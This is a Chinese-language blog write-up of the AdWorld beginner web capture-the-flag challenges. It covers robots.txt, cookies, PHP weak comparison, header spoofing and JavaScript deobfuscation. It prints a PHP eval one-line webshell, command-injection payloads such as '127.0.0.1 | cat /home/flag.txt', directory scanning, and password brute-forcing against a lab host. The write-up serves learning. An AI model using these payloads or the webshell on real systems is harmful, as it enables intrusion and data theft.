攻防世界Web新手区

写在前面

作为一个学习网安的菜鸡,大多时候都不太正经,只会去研究自己感兴趣的东西,导致接触的东西杂而多,但都没有显著的成果,是时候回归web正道了,就从最基础的攻防世界出发,记录我的web学习之路。

view_source

打开页面后发现鼠标左键选中和右键失灵,提示查看源码F12

image-20220607000350524

edge源代码一栏选中页面选项,会显示相关站点信息的页面源码,包含js和html等

这里发现是通过js中 oncontextmenuonselectstartDOM事件来禁用鼠标点击右键菜单和目标选中

html注释隐藏flag

1
<!-- 在此处写注释 -->

get_post

image-20220607004453104

http协议中使用GET方法提交变量, 方法为在url添加?和变量值,多个值用&符号拼接

可以直接在Query一栏添加相关变量

(以GET方式提交变量不受GET方法的限制,可以是POST或者其他方法)

image-20220607005745599

再以POST方法提交变量b,在body处可以通过form-data和www-form-urlencoded方式提交

image-20220607010134446


robots

Robots协议

Robots协议(也称为爬虫协议、机器人协议等)的全称是“网络爬虫排除标准”(Robots ExclusionProtocol),网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取.

根据协议,网站管理员可以在网站域名的根目录下放一个robots.txt 文本文件,里面可以指定不同的网络爬虫能访问的页面和禁止访问的页面,指定的页面由正则表达式表示。网络爬虫在采集这个网站之前,首先获取到这个文件,然后解析到其中的规则,然后根据规则来采集网站的数据。

注意,这个协议的存在更多的是需要网络爬虫去遵守,而起不到反爬虫的功能(此地无银三百两)

此协议可以减少搜索引擎爬虫的访问流量, User-agent行中 百度为Baiduspider Google为Googlebot(可查阅相关官网的爬虫列表)

1
2
User-agent:指定对哪些爬虫生效
Disallow:指定要屏蔽的网址

Disallow 行列出的是要拦截的网页,以正斜线 (/) 开头,可以列出特定的网址或模式。要屏蔽整个网站,使用正斜线即可;要屏蔽某一目录以及其中的所有内容,在目录名后添加正斜线;要屏蔽某个具体的网页,就指出这个网页。

本题若没有提示,也可以通过网站后台扫描出敏感页面

image-20220607004124129

image-20220607004211230

查看f1ag_1s_h3re.php页面得到flag


backup

根据提示网站的备份文件,通过dirsearch扫描网站目录

1
python dirsearch -u http://111.200.241.244:60228

image-20220607112427174

将文件后缀改为.php查看后获取flag


cookie

根据题目提示查看cookie,可在edge的F12开发者选项中选中应用程序一栏查看存储的cookie

image-20220607112921575

访问cookie.php后根据提示查看该页面的http响应头部获取flag

image-20220607113142926


disabled_button

打开页面发现按钮不能点击,审计源码

image-20220607231314286

这里input标签设为disabled,点击按钮执行动作,可以直接修改本地的元素为enable

image-20220607231601449

也可以分析点击按钮的行为,这里点击flag按钮后会向该页面以POST提交auth=flag的表单数据,可以主动发送该请求

image-20220607232508454


weak_auth

登录页面,随便输入提示用户名为admin,再次登录提示使用字典,弱口令爆破

image-20220607233644435

用Burp中Intruder模块进行字典爆破(前提有弱口令字典)密码为123456

image-20220608000246499


simple_php

在php中 == 或者 < 和 > 都是弱类型比较,只会比较值不比较类型

一个数字和一个字符串进行比较,PHP会把字符串转换成数字再进行比较
PHP转换的规则的是:若字符串以数字开头,则取前面所有数字作为转换结果,若无则为0

1
2
3
4
5
6
7
8
<?php
echo (233333 == 233333); # 1
echo (233333 == "233333"); # 1
echo (233333 == "233333abc"); # 1
echo (0e12345 == 0e54321); # 1
echo ("abcd" == 0); # 1
echo ("1abc" == 0); # 0
?>

0e开头在php解释为科学计数法,统一变为0,所以相等(常在md5比较中绕过使用)

is_numeric函数判断是否为数字或者**数字字符串 **(十进制和十六进制)

1
2
3
4
5
6
7
<?php
echo is_numeric(233333); # 1
echo is_numeric("233333"); # 1
echo is_numeric(0x233333); # 1
echo is_numeric("0x233333"); # 1
echo is_numeric("233333abc"); # 0
?>

根据源码构造payload

image-20220608011650618

其中*为除数字外的任意字符


xff_referer

xff为X-Forwarder-For,为http报文请求头格式的一种,用来识别在代理服务模式下客户端的真实ip

referer字段表示页面来源地址,在hackbar中添加如下,不知道为什么edge下的发包有问题 😓

image-20220608103355127


webshell

经典一句话木马的webshell

1
<?php @eval($_POST['shell']);?>

可以用各种webshell工具连接,这里用antsword

image-20220608104258600

进去发现该环境不出网,无法反弹shell,直接得flag完事


command_execution

典型的命令注入,正常的ping后面注入实现RCE

linux中通过命令操作符来实现

"&"和号操作符

&’的作用是使命令在后台运行。只要在命令后面跟上一个空格和 ‘&’。也可以一次性在后台同时运行多个命令。

1
ping www.baidu.com & apt-get update &  

";"分号操作符

使用’;'将命令分割,使得各个命令依次执行,输出结果,互不影响

1
ping -c3 127.0.0.1;whoami

"&&"与操作符

如果第一个命令执行成功,与操作符 (&&)才会执行第二个命令,也就是说,第一个命令退出状态是0, 该操作符在检查最后一个命令的执行状态时很有用

程序编译安装(先检查编译情况)

1
make && make install

网站访问(先判断主机是否在线)

1
ping -c3 www.baidu.com && links www.baidu.com

"||"或操作符

或操作符 (||)很像编程中的 if-else 语句, 该操作符允许你在第一个命令失败的情况下(退出状态为1)执行第二个命令。但第一个命令执行成功(退出状态为0)就不会执行第二个命令,效果为至少得有一个指令执行成功

1
apt-get update || ping -c3 www.baidu..com

"|"管道操作符

管道操作符(|)会将第一个指令的输入结果作为第二个指令的输入,最终在屏幕中展示的是最后一个指令的输出情况

1
cat system.log | grep hello

上面的指令可以让我们过滤出system.log这个文件中包含hello字符串的行,然后打印到屏幕上。

本题可以通过管道操作符**(|)或者与操作符(&&)和分号操作符(😉**实现命令注入

首先找到flag的位置为 /home/flag.txt

1
2
3
127.0.0.1;find / -name "flag"
127.0.0.1 | find / -name "flag.txt"
127.0.0.1 && find / -name "flag.txt"

获取flag

1
127.0.0.1 | cat /home/flag.txt

simple_js

审阅js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');
var i,j,k,l=0,m,n,o,p = "";
i = 0;
j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
p += String.fromCharCode((o = tab2[i]));
if(i == 5) break;
}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1) p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

h = window.prompt('Enter password');
alert( dechiffre(h) );

乍眼一看很复杂,给了很多混淆,要弄清楚代码的意图;从输入什么返回值不变这一角度触发,故进行无用代码的处理简化

1
2
3
4
5
6
7
8
9
10
function dechiffre() {
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab2 = pass.split(',');
var i;
var p = "";
for (i = 0; i < tab2.length; i++) {
p += String.fromCharCode(tab2[i]);
}
return p;
}

该函数就是将一个固定数字数组进行ASCⅡ字符编码后拼接,与我们的输入没有任何关系

题目中给出可疑的16进制字符串,将变量替换执行

1
"\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<title>JS</title>
<script type="text/javascript">
function dechiffre() {
var pass = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30";
var tab2 = pass.split(',');
var i;
var p = "";
for (i = 0; i < tab2.length; i++) {
p += String.fromCharCode(tab2[i]);
}
return p;
}
alert(dechiffre());
</script>
</head>
<body></body>
</html>

以html方式打开

image-20220608153642079


攻防世界Web新手区
https://blue-arc.github.io/2022/06/08/AdWorld/
作者
冰蓝弧影
发布于
2022年6月8日
许可协议